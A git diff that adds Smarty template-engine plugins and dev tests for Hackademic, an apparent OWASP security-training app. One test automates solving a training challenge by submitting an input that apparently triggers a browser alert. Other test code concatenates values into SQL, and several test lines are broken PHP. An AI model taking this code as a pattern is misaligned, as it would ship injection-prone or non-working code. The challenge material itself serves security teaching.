+ * Purpose: Truncate a string to a certain length if necessary, + * optionally splitting in the middle of a word, and + * appending the $etc string or inserting $etc into the middle. + * + * @link http://smarty.php.net/manual/en/language.modifier.truncate.php truncate (Smarty online manual) + * @author Monte Ohrt + * + * @param string $string input string + * @param integer $length length of truncated text + * @param string $etc end string + * @param boolean $break_words truncate at word boundary + * @param boolean $middle truncate in the middle of text + * + * @return string truncated string + */ +function smarty_modifier_truncate($string, $length = 80, $etc = '...', $break_words = false, $middle = false) +{ + if ($length == 0) { + return ''; + } + + if (Smarty::$_MBSTRING) { + if (mb_strlen($string, Smarty::$_CHARSET) > $length) { + $length -= min($length, mb_strlen($etc, Smarty::$_CHARSET)); + if (!$break_words && !$middle) { + $string = preg_replace('/\s+?(\S+)?$/' . Smarty::$_UTF8_MODIFIER, '', mb_substr($string, 0, $length + 1, Smarty::$_CHARSET)); + } + if (!$middle) { + return mb_substr($string, 0, $length, Smarty::$_CHARSET) . $etc; + } + + return mb_substr($string, 0, $length / 2, Smarty::$_CHARSET) . $etc . mb_substr($string, - $length / 2, $length, Smarty::$_CHARSET); + } + + return $string; + } + + // no MBString fallback + if (isset($string[$length])) { + $length -= min($length, strlen($etc)); + if (!$break_words && !$middle) { + $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length + 1)); + } + if (!$middle) { + return substr($string, 0, $length) . $etc; + } + + return substr($string, 0, $length / 2) . $etc . substr($string, - $length / 2); + } + + return $string; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.cat.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.cat.php new file mode 100755 index 00000000..db9d81fb --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.cat.php @@ -0,0 +1,29 @@ + + * Name: cat
+ * Date: Feb 24, 2003
+ * Purpose: catenate a value to a variable
+ * Input: string to catenate
+ * Example: {$var|cat:"foo"} + * + * @link http://smarty.php.net/manual/en/language.modifier.cat.php cat + * (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_cat($params) +{ + return '(' . implode(').(', $params) . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_characters.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_characters.php new file mode 100755 index 00000000..f8463d80 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_characters.php @@ -0,0 +1,32 @@ + + * Name: count_characteres
+ * Purpose: count the number of characters in a text + * + * @link http://www.smarty.net/manual/en/language.modifier.count.characters.php count_characters (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_count_characters($params) +{ + if (!isset($params[1]) || $params[1] != 'true') { + return 'preg_match_all(\'/[^\s]/' . Smarty::$_UTF8_MODIFIER . '\',' . $params[0] . ', $tmp)'; + } + if (Smarty::$_MBSTRING) { + return 'mb_strlen(' . $params[0] . ', \'' . addslashes(Smarty::$_CHARSET) . '\')'; + } + // no MBString fallback + return 'strlen(' . $params[0] . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_paragraphs.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_paragraphs.php new file mode 100755 index 00000000..34f0bbb8 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_paragraphs.php @@ -0,0 +1,27 @@ + + * Name: count_paragraphs
+ * Purpose: count the number of paragraphs in a text + * + * @link http://www.smarty.net/manual/en/language.modifier.count.paragraphs.php + * count_paragraphs (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_count_paragraphs($params) +{ + // count \r or \n characters + return '(preg_match_all(\'#[\r\n]+#\', ' . $params[0] . ', $tmp)+1)'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_sentences.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_sentences.php new file mode 100755 index 00000000..f1ec5600 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_sentences.php @@ -0,0 +1,27 @@ + + * Name: count_sentences + * Purpose: count the number of sentences in a text + * + * @link http://www.smarty.net/manual/en/language.modifier.count.paragraphs.php + * count_sentences (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_count_sentences($params) +{ + // find periods, question marks, exclamation marks with a word before but not after. + return 'preg_match_all("#\w[\.\?\!](\W|$)#S' . Smarty::$_UTF8_MODIFIER . '", ' . $params[0] . ', $tmp)'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_words.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_words.php new file mode 100755 index 00000000..8b4330f1 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.count_words.php @@ -0,0 +1,31 @@ + + * Name: count_words
+ * Purpose: count the number of words in a text + * + * @link http://www.smarty.net/manual/en/language.modifier.count.words.php count_words (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_count_words($params) +{ + if (Smarty::$_MBSTRING) { + // return 'preg_match_all(\'#[\w\pL]+#' . Smarty::$_UTF8_MODIFIER . '\', ' . $params[0] . ', $tmp)'; + // expression taken from http://de.php.net/manual/en/function.str-word-count.php#85592 + return 'preg_match_all(\'/\p{L}[\p{L}\p{Mn}\p{Pd}\\\'\x{2019}]*/' . Smarty::$_UTF8_MODIFIER . '\', ' . $params[0] . ', $tmp)'; + } + // no MBString fallback + return 'str_word_count(' . $params[0] . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.default.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.default.php new file mode 100755 index 00000000..fe777623 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.default.php @@ -0,0 +1,35 @@ + + * Name: default
+ * Purpose: designate default value for empty variables + * + * @link http://www.smarty.net/manual/en/language.modifier.default.php default (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_default($params) +{ + $output = $params[0]; + if (!isset($params[1])) { + $params[1] = "''"; + } + + array_shift($params); + foreach ($params as $param) { + $output = '(($tmp = @' . $output . ')===null||$tmp===\'\' ? ' . $param . ' : $tmp)'; + } + + return $output; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.escape.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.escape.php new file mode 100755 index 00000000..7e848aae --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.escape.php @@ -0,0 +1,126 @@ + + * Name: escape
+ * Purpose: escape string for output + * + * @link http://www.smarty.net/docsv2/en/language.modifier.escape count_characters (Smarty online manual) + * @author Rodney Rehm + * + * @param array $params parameters + * @param $compiler + * + * @return string with compiled code + */ +function smarty_modifiercompiler_escape($params, $compiler) +{ + static $_double_encode = null; + if ($_double_encode === null) { + $_double_encode = version_compare(PHP_VERSION, '5.2.3', '>='); + } + + try { + $esc_type = smarty_literal_compiler_param($params, 1, 'html'); + $char_set = smarty_literal_compiler_param($params, 2, Smarty::$_CHARSET); + $double_encode = smarty_literal_compiler_param($params, 3, true); + + if (!$char_set) { + $char_set = Smarty::$_CHARSET; + } + + switch ($esc_type) { + case 'html': + if ($_double_encode) { + return 'htmlspecialchars(' + . $params[0] . ', ENT_QUOTES, ' + . var_export($char_set, true) . ', ' + . var_export($double_encode, true) . ')'; + } elseif ($double_encode) { + return 'htmlspecialchars(' + . $params[0] . ', ENT_QUOTES, ' + . var_export($char_set, true) . ')'; + } else { + // fall back to modifier.escape.php + } + + case 'htmlall': + if (Smarty::$_MBSTRING) { + if ($_double_encode) { + // php >=5.2.3 - go native + return 'mb_convert_encoding(htmlspecialchars(' + . $params[0] . ', ENT_QUOTES, ' + . var_export($char_set, true) . ', ' + . var_export($double_encode, true) + . '), "HTML-ENTITIES", ' + . var_export($char_set, true) . ')'; + } elseif ($double_encode) { + // php <5.2.3 - only handle double encoding + return 'mb_convert_encoding(htmlspecialchars(' + . $params[0] . ', ENT_QUOTES, ' + . var_export($char_set, true) + . '), "HTML-ENTITIES", ' + . var_export($char_set, true) . ')'; + } else { + // fall back to modifier.escape.php + } + } + + // no MBString fallback + if ($_double_encode) { + // php >=5.2.3 - go native + return 'htmlentities(' + . $params[0] . ', ENT_QUOTES, ' + . var_export($char_set, true) . ', ' + . var_export($double_encode, true) . ')'; + } elseif ($double_encode) { + // php <5.2.3 - only handle double encoding + return 'htmlentities(' + . $params[0] . ', ENT_QUOTES, ' + . var_export($char_set, true) . ')'; + } else { + // fall back to modifier.escape.php + } + + case 'url': + return 'rawurlencode(' . $params[0] . ')'; + + case 'urlpathinfo': + return 'str_replace("%2F", "/", rawurlencode(' . $params[0] . '))'; + + case 'quotes': + // escape unescaped single quotes + return 'preg_replace("%(? "\\\\\\\\", "\'" => "\\\\\'", "\"" => "\\\\\"", "\\r" => "\\\\r", "\\n" => "\\\n", " "<\/" ))'; + } + } + catch (SmartyException $e) { + // pass through to regular plugin fallback + } + + // could not optimize |escape call, so fallback to regular plugin + if ($compiler->template->caching && ($compiler->tag_nocache | $compiler->nocache)) { + $compiler->template->required_plugins['nocache']['escape']['modifier']['file'] = SMARTY_PLUGINS_DIR . 'modifier.escape.php'; + $compiler->template->required_plugins['nocache']['escape']['modifier']['function'] = 'smarty_modifier_escape'; + } else { + $compiler->template->required_plugins['compiled']['escape']['modifier']['file'] = SMARTY_PLUGINS_DIR . 'modifier.escape.php'; + $compiler->template->required_plugins['compiled']['escape']['modifier']['function'] = 'smarty_modifier_escape'; + } + + return 'smarty_modifier_escape(' . join(', ', $params) . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.from_charset.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.from_charset.php new file mode 100755 index 00000000..dab43e9c --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.from_charset.php @@ -0,0 +1,33 @@ + + * Name: from_charset
+ * Purpose: convert character encoding from $charset to internal encoding + * + * @author Rodney Rehm + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_from_charset($params) +{ + if (!Smarty::$_MBSTRING) { + // FIXME: (rodneyrehm) shouldn't this throw an error? + return $params[0]; + } + + if (!isset($params[1])) { + $params[1] = '"ISO-8859-1"'; + } + + return 'mb_convert_encoding(' . $params[0] . ', "' . addslashes(Smarty::$_CHARSET) . '", ' . $params[1] . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.indent.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.indent.php new file mode 100755 index 00000000..e3ca2082 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.indent.php @@ -0,0 +1,33 @@ + + * Name: indent
+ * Purpose: indent lines of text + * + * @link http://www.smarty.net/manual/en/language.modifier.indent.php indent (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ + +function smarty_modifiercompiler_indent($params) +{ + if (!isset($params[1])) { + $params[1] = 4; + } + if (!isset($params[2])) { + $params[2] = "' '"; + } + + return 'preg_replace(\'!^!m\',str_repeat(' . $params[2] . ',' . $params[1] . '),' . $params[0] . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.lower.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.lower.php new file mode 100755 index 00000000..1d255f37 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.lower.php @@ -0,0 +1,31 @@ + + * Name: lower
+ * Purpose: convert string to lowercase + * + * @link http://www.smarty.net/manual/en/language.modifier.lower.php lower (Smarty online manual) + * @author Monte Ohrt + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ + +function smarty_modifiercompiler_lower($params) +{ + if (Smarty::$_MBSTRING) { + return 'mb_strtolower(' . $params[0] . ', \'' . addslashes(Smarty::$_CHARSET) . '\')'; + } + // no MBString fallback + return 'strtolower(' . $params[0] . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.noprint.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.noprint.php new file mode 100755 index 00000000..4906908b --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.noprint.php @@ -0,0 +1,21 @@ + + * Name: noprint
+ * Purpose: return an empty string + * + * @author Uwe Tews + * @return string with compiled code + */ +function smarty_modifiercompiler_noprint() +{ + return "''"; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.string_format.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.string_format.php new file mode 100755 index 00000000..71cdf281 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.string_format.php @@ -0,0 +1,25 @@ + + * Name: string_format
+ * Purpose: format strings via sprintf + * + * @link http://www.smarty.net/manual/en/language.modifier.string.format.php string_format (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_string_format($params) +{ + return 'sprintf(' . $params[1] . ',' . $params[0] . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.strip.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.strip.php new file mode 100755 index 00000000..fcd6cbae --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.strip.php @@ -0,0 +1,33 @@ + + * Name: strip
+ * Purpose: Replace all repeated spaces, newlines, tabs + * with a single space or supplied replacement string.
+ * Example: {$var|strip} {$var|strip:" "}
+ * Date: September 25th, 2002 + * + * @link http://www.smarty.net/manual/en/language.modifier.strip.php strip (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ + +function smarty_modifiercompiler_strip($params) +{ + if (!isset($params[1])) { + $params[1] = "' '"; + } + + return "preg_replace('!\s+!" . Smarty::$_UTF8_MODIFIER . "', {$params[1]},{$params[0]})"; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.strip_tags.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.strip_tags.php new file mode 100755 index 00000000..3e6e1304 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.strip_tags.php @@ -0,0 +1,29 @@ + + * Name: strip_tags
+ * Purpose: strip html tags from text + * + * @link http://www.smarty.net/manual/en/language.modifier.strip.tags.php strip_tags (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_strip_tags($params) +{ + if (!isset($params[1]) || $params[1] === true || trim($params[1], '"') == 'true') { + return "preg_replace('!<[^>]*?>!', ' ', {$params[0]})"; + } else { + return 'strip_tags(' . $params[0] . ')'; + } +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.to_charset.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.to_charset.php new file mode 100755 index 00000000..9122d8bb --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.to_charset.php @@ -0,0 +1,33 @@ + + * Name: to_charset
+ * Purpose: convert character encoding from internal encoding to $charset + * + * @author Rodney Rehm + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_to_charset($params) +{ + if (!Smarty::$_MBSTRING) { + // FIXME: (rodneyrehm) shouldn't this throw an error? + return $params[0]; + } + + if (!isset($params[1])) { + $params[1] = '"ISO-8859-1"'; + } + + return 'mb_convert_encoding(' . $params[0] . ', ' . $params[1] . ', "' . addslashes(Smarty::$_CHARSET) . '")'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.unescape.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.unescape.php new file mode 100755 index 00000000..3b17ea2e --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.unescape.php @@ -0,0 +1,50 @@ + + * Name: unescape
+ * Purpose: unescape html entities + * + * @author Rodney Rehm + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_unescape($params) +{ + if (!isset($params[1])) { + $params[1] = 'html'; + } + if (!isset($params[2])) { + $params[2] = '\'' . addslashes(Smarty::$_CHARSET) . '\''; + } else { + $params[2] = "'" . $params[2] . "'"; + } + + switch (trim($params[1], '"\'')) { + case 'entity': + case 'htmlall': + if (Smarty::$_MBSTRING) { + return 'mb_convert_encoding(' . $params[0] . ', ' . $params[2] . ', \'HTML-ENTITIES\')'; + } + + return 'html_entity_decode(' . $params[0] . ', ENT_NOQUOTES, ' . $params[2] . ')'; + + case 'html': + return 'htmlspecialchars_decode(' . $params[0] . ', ENT_QUOTES)'; + + case 'url': + return 'rawurldecode(' . $params[0] . ')'; + + default: + return $params[0]; + } +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.upper.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.upper.php new file mode 100755 index 00000000..52ca4e8f --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.upper.php @@ -0,0 +1,29 @@ + + * Name: lower
+ * Purpose: convert string to uppercase + * + * @link http://smarty.php.net/manual/en/language.modifier.upper.php lower (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * + * @return string with compiled code + */ +function smarty_modifiercompiler_upper($params) +{ + if (Smarty::$_MBSTRING) { + return 'mb_strtoupper(' . $params[0] . ', \'' . addslashes(Smarty::$_CHARSET) . '\')'; + } + // no MBString fallback + return 'strtoupper(' . $params[0] . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.wordwrap.php b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.wordwrap.php new file mode 100755 index 00000000..2ad928ea --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifiercompiler.wordwrap.php @@ -0,0 +1,47 @@ + + * Name: wordwrap
+ * Purpose: wrap a string of text at a given length + * + * @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php wordwrap (Smarty online manual) + * @author Uwe Tews + * + * @param array $params parameters + * @param $compiler + * + * @return string with compiled code + */ +function smarty_modifiercompiler_wordwrap($params, $compiler) +{ + if (!isset($params[1])) { + $params[1] = 80; + } + if (!isset($params[2])) { + $params[2] = '"\n"'; + } + if (!isset($params[3])) { + $params[3] = 'false'; + } + $function = 'wordwrap'; + if (Smarty::$_MBSTRING) { + if ($compiler->template->caching && ($compiler->tag_nocache | $compiler->nocache)) { + $compiler->template->required_plugins['nocache']['wordwrap']['modifier']['file'] = SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php'; + $compiler->template->required_plugins['nocache']['wordwrap']['modifier']['function'] = 'smarty_mb_wordwrap'; + } else { + $compiler->template->required_plugins['compiled']['wordwrap']['modifier']['file'] = SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php'; + $compiler->template->required_plugins['compiled']['wordwrap']['modifier']['function'] = 'smarty_mb_wordwrap'; + } + $function = 'smarty_mb_wordwrap'; + } + + return $function . '(' . $params[0] . ',' . $params[1] . ',' . $params[2] . ',' . $params[3] . ')'; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/outputfilter.trimwhitespace.php b/extlib/Smarty-3.1.21/libs/plugins/outputfilter.trimwhitespace.php new file mode 100755 index 00000000..62ab4e77 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/outputfilter.trimwhitespace.php @@ -0,0 +1,90 @@ +.*?#is', $source, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER)) { + foreach ($matches as $match) { + $store[] = $match[0][0]; + $_length = strlen($match[0][0]); + $replace = '@!@SMARTY:' . $_store . ':SMARTY@!@'; + $source = substr_replace($source, $replace, $match[0][1] - $_offset, $_length); + + $_offset += $_length - strlen($replace); + $_store ++; + } + } + + // Strip all HTML-Comments + // yes, even the ones in ', "body > center > font > h2 > form > input[type=\"text\"]:nth-child(1)"); + + BaseTest::getElement('body > center > font > h2 > form > input[type="submit"]:nth-child(2)')->click(); + BaseTest::$webDriver->switchTo()->alert()->accept(); + $cSrc = BaseTest::$webDriver->getPageSource(); + BaseTest::assertContains("Congratulations!", $cSrc); + } +} diff --git a/hackademic_devtests/controller/TryChallenge.php b/hackademic_devtests/controller/TryChallenge.php new file mode 100755 index 00000000..3ac00faa --- /dev/null +++ b/hackademic_devtests/controller/TryChallenge.php @@ -0,0 +1,8 @@ +. + * + * @author Daniel Kvist + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2013 OWASP + * + */ +require_once("config.inc.php"); +require_once("model/common/class.Loader.php"); +require_once("model/common/class.HackademicDB.php"); + +global $hci; + +class HackademicControllerTest extends PHPUnit_Framework_TestCase { + + /** + * Sets up a db connection and initiates the required constants that are needed + * for the tests and includes. + */ + public function setUp() { + global $db; + $db = new HackademicDB(); + Loader::init(); + } + + /** + * Tests the show action in the HackademicController. Note that this test generates + * output and will break the test suite if it is not run with the + * '--stderr' flag to direct output to stderr instead of stdout. + */ + public function test_show_action() { + global $hci; + + require_once("test/controller/implementations/class.HackademicControllerImplementation.php"); + $hci = new HackademicControllerImplementation(); + + Plugin::add_action('show_test_show_action', 'show_test_show_action'); + $hci->setViewTemplate('user_login.tpl'); + $hci->generateView('test_show_action'); + assert($hci->called === TRUE); + } + + /** + * Closes the db and cleans up the hc global + */ + public function tearDown() { + global $db; + $db->closeConnection(); + } + +} + +/** + * Function that is called by the plugin api which sets a static variable + * that can let the test that is running know that it was successful. + * + * @param $smarty + */ +function show_test_show_action($smarty) { + global $hci; + $hci->called = TRUE; +} diff --git a/hackademic_devtests/controller/implementations/class.HackademicControllerImplementation.php b/hackademic_devtests/controller/implementations/class.HackademicControllerImplementation.php new file mode 100755 index 00000000..69c27def --- /dev/null +++ b/hackademic_devtests/controller/implementations/class.HackademicControllerImplementation.php @@ -0,0 +1,35 @@ +. + * + * @author Daniel Kvist + * @license http://www.gnu.org/licenses/gpl.html + * @copyright 2013 OWASP + * + */ +require_once("controller/class.HackademicController.php"); + +class HackademicControllerImplementation extends HackademicController { + + public static $called = FALSE; + +} \ No newline at end of file diff --git a/hackademic_devtests/initTests.php b/hackademic_devtests/initTests.php new file mode 100755 index 00000000..5f9aa383 --- /dev/null +++ b/hackademic_devtests/initTests.php @@ -0,0 +1,17 @@ +article = new Article(); + $this->article2 = new Article(); + $this->article->title = $this->article2->title = "Foobar Article"; + $this->article->content = $this->article2->content = "Foobar Content"; + $this->article->date_posted = $this->article2->date_posted = "2013-08-18 00:00:17"; + $this->article->created_by = $this->article->created_by = "test_cases"; + $this->article->is_published = $this->article2->is_published = 1; + + ArticleBackend::addArticle($this->article->title, $this->article->content, $this->article->date_posted, $this->article->created_by, $this->article->is_published); + ArticleBackend::addArticle($this->article->title."2", $this->article->content."2", $this->article->date_posted, $this->article->created_by, $this->article->is_published); + $sql = "SELECT * FROM articles WHERE title LIKE :search_string LIMIT :start, :limit"; + /*Todo: get the ids of the articles just inserted */ + } + public function tearDown(){ + $this->assertTrue(null !== $this->article->id); + $this->assertTrue(null !== $this->article2->id); + ArticleBackend::deleteArticle($this->article->id); + ArticleBackend::deleteArticle($this->article2->id); + } + + /** + * Tries to fetch the two articles we inserted + * and makes sure it's an array of Article items. + */ + public function test_getNarticles() { + $articles = Article::getNarticles(0,2,"Foobar","title"); + assert(is_array($articles)); + assert(sizeof($articles) > 0); + $this->assertInstanceOf('Article', $articles[0]); + assert(strpos($articles[0]->title,"Foobar") !== false); + } + + /* + * Tries to fetch a range,all and a Single article + * and tests that in case we get one article it returns an + * article object + * */ + public function test_getAllArticles(){ + global $db; + /* get two articles */ + $articles = Article::getAllArticles(0,2); + assert(is_array($articles)); + assert(sizeof($articles) === 2); + $this->assertInstanceOf('Article', $articles[0]); + + /* get all articles */ + $rs = $db->read("SELECT COUNT(*) as num FROM articles",NULL,self::$action_type); /*TODO: check that $count is a number and not e.g. a result_set*/ + $foo = $db->fetchArray($rs); + $count = $foo['num']; + $articles = Article::getAllArticles(); + assert(is_array($articles)); + assert(sizeof($articles) === $count); + $this->assertInstanceOf('Article', $articles[0]); + + /* get one article, it should return a single article element */ + $articles = Article::getAllArticles(0,1); + $this->assertInstanceOf('Article', $articles); + } + + /* Gets number of articles based on different */ + public function test_getNumberOfArticles(){ + global $db; + $rs = $db->read("SELECT COUNT(*) as num FROM articles",NULL,self::$action_type); /*TODO: check that $count is a number and not e.g. a result_set*/ + $count = $db->fetchArray($rs)['num']; + $articles = Article::getNumberOfArticles(); + assert($count === $articles); + + $rs = $db->read("SELECT COUNT(*) as num FROM articles WHERE title LIKE 'Foobar'",NULL,self::$action_type); /*TODO: check that $count is a number and not e.g. a result_set*/ + $count = $db->fetchArray($rs)['num']; + $articles = Article::getNumberOfArticles("Foobar","title"); + assert($count === $articles); + + $rs = $db->read("SELECT COUNT(*) as num FROM articles WHERE created_by LIKE 'test_case'",NULL,self::$action_type); /*TODO: check that $count is a number and not e.g. a result_set*/ + $count = $rs->fetchArray()['num']; + $articles = Articles::getNumberOfArticles("test_case","created_by"); + assert($count === $articles); + } + + public function test_getArticle(){ + global $db; + $rs = $db->read("SELECT * FROM articles WHERE title LIKE 'Foobar' LIMIT 0,1"); + $id = $rs->fetchArray()['id']; + $articles = Article::getArticle($id); + assert($articles->id === $id); + assert(strpos($articles->title,'Foobar') !== false); + $this->assertInstanceOf('Article', $articles); + } +/* + * TODO: NOTE: we can use the phpunit's data provider directive to get data instead of doing sql queries + */ +} diff --git a/hackademic_devtests/model/common/class.ChallengeAttemptsTest.php b/hackademic_devtests/model/common/class.ChallengeAttemptsTest.php new file mode 100755 index 00000000..63b55907 --- /dev/null +++ b/hackademic_devtests/model/common/class.ChallengeAttemptsTest.php @@ -0,0 +1,314 @@ +success_user_id, + $chid = $this->success_chal_id, + $clid = $this->success_class_id,$status = 1, + $time = $this->time){ + global $db; + $params = array(); + $sql = "INSERT INTO challenge_attempts(user_id,challenge_id, class_id,time,status)"; + $sql .= "VALUES (".$uid.",".$chid.",".$clid.", ".$time.",".$status.")"; + $query = $db->create($sql, $params, self::$action_type); + + $sql = "INSERT INTO challenge_attempt_count(user_id, challenge_id, class_id, tries) + VALUES (".$uid.",".$chid.",".$clid.", 1)ON DUPLICATE KEY UPDATE tries = tries + 1"; + $db->create($sql, $params, self::$action_type); + } + //delete the unique id challenge attempts + private function delete_data($uid = $this->success_user_id){ + global $db; + + $sql = "DELETE FROM challenge_attempts WHERE user_id=".$uid; + $query = $db->delete($sql, $params, self::$action_type); + $sql = "DELETE FROM challenge_attempt_count WHERE user_id=".$uid; + $query = $db->delete($sql, $params, self::$action_type); + } + public function setUp() { + + } + public function tearDown(){ + $this->delete_data(); + $this->delete_data($this->fail_user_id); + } + + /** + * Adds a challenge attempt + */ + public function test_addChallengeAttempt() { + global $db; + for( $i = 0; $i < 2; $i++){ + $insert = ChallengeAttempts::addChallengeAttempt($this->fail_user_id, + $this->fail_chal_id, + $this->fail_class_id,0); + assert($insert!== false); + $sql = "SELECT * FROM challenge_attempts WHERE user_id=".$this->fail_user_id; + $res = $db->read($sql); + ssert($db->numRows() === $i+1) + } + $this->delete_data($this->fail_user_id); + } + /* + * + */ + public function test_deleteChallengeAttemptByUser(){ + $this->insert_data(); + assert(ChallengeAttempts::deleteChallengeAttemptByUser($this->success_user_id) === true); + assert(ChallengeAttempts::deleteChallengeAttemptByUser($this->success_user_id) === false); + $sql2 = "SELECT * FROM challenge_attempts WHERE user_id=".$this->success_user_id; + $res = $db->read($sql); + assert($db->numRows() === 0); + $sql2 = "SELECT * FROM challenge_attempt_count WHERE user_id=".$this->success_user_id; + $res = $db->read($sql); + assert($db->numRows() === 0); + $this->delete_data(); + //get all the challenge attempts by that user and make sure it's 0 + } + public function test_deleteChallengeAttemptByChallenge(){ + $this->insert_data(); + + assert(ChallengeAttempts::deleteChallengeAttemptByChallenge($this->success_chal_id) === true); + assert(ChallengeAttempts::deleteChallengeAttemptByChallenge($this->success_chal_id) === false); + $sql2 = "SELECT * FROM challenge_attempts WHERE user_id=".$this->success_chal_id; + $res = $db->read($sql); + assert($db->numRows() === 0); + $sql2 = "SELECT * FROM challenge_attempt_count WHERE user_id=".$this->success_chal_id; + $res = $db->read($sql); + assert($db->numRows() === 0); + $this->delete_data(); + } + public function test_isChallengeCleared(){ + $this->insert_data(-1,-2,-3,1); + $this->insert_data(-4,-5,-6,0); + + $no_cleared = ChallengeAttempts::isChallengeCleared(-4,-5,-6); + $cleared = ChallengeAttempts::isChallengeCleared(-1,-2,-3); + assert(false === $no_cleared); + assert(true === $cleared); + + $this->delete_data(-1); + $this->delete_data(-4); + } + public function test_getUserProgress(){ + $this->insert_data($this->success_user_id,$this->success_chal_id,$this->success_class_id,1); + $this->insert_data($this->fail_user_id,$this->fail_chal_id,$this->fail_class_id,0); + + $prog_success = ChallengeAttempts::getUserProgress($this->success_user_id, + $this->success_chal_id, + $this->success_class_id); + $prog_no_success = ChallengeAttempts::getUserProgress($this->fail_user_id, + $this->fail_chal_id, + $this->fail_class_id); + $non_existent_user = ChallengeAttempts::getUserProgress(-1,-2,-3); + + assert($non_existent_user === false); + assert(isarray($prog_success)); + assert(isarray($prog_no_success)); + + assert(instanceof($prog_success[0],'ChallengeAttempts')); + assert(instanceof($prog_no_success[0],'ChallengeAttempts')); + + 